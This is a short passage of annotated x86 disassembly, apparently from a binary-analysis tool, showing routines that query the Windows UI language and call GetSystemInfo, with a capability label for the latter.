mov eax, dword [ebp - 0x224]
call fcn.00409324
pop ecx
mov ebx, eax
test bl, bl
jne 0x40958e
cmp byte [0x56db58], 0
jne 0x40958e
push ebp
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 0x228]
call fcn.00408b5c
mov eax, dword [ebp - 0x228]
call fcn.00409324
pop ecx
mov ebx, eax
test bl, bl
jne 0x40959b
push ebp
call fcn.004093d4
pop ecx
mov ebx, eax
test bl, bl
je 0x4095b1
mov eax, esi
lea edx, [ebp - 0x20a]
mov ecx, 0x105
call fcn.00406cb4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4095d6
lea eax, [ebp - 0x228]
mov edx, 5
call fcn.00406a9c
ret

Function at 0x409d30
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret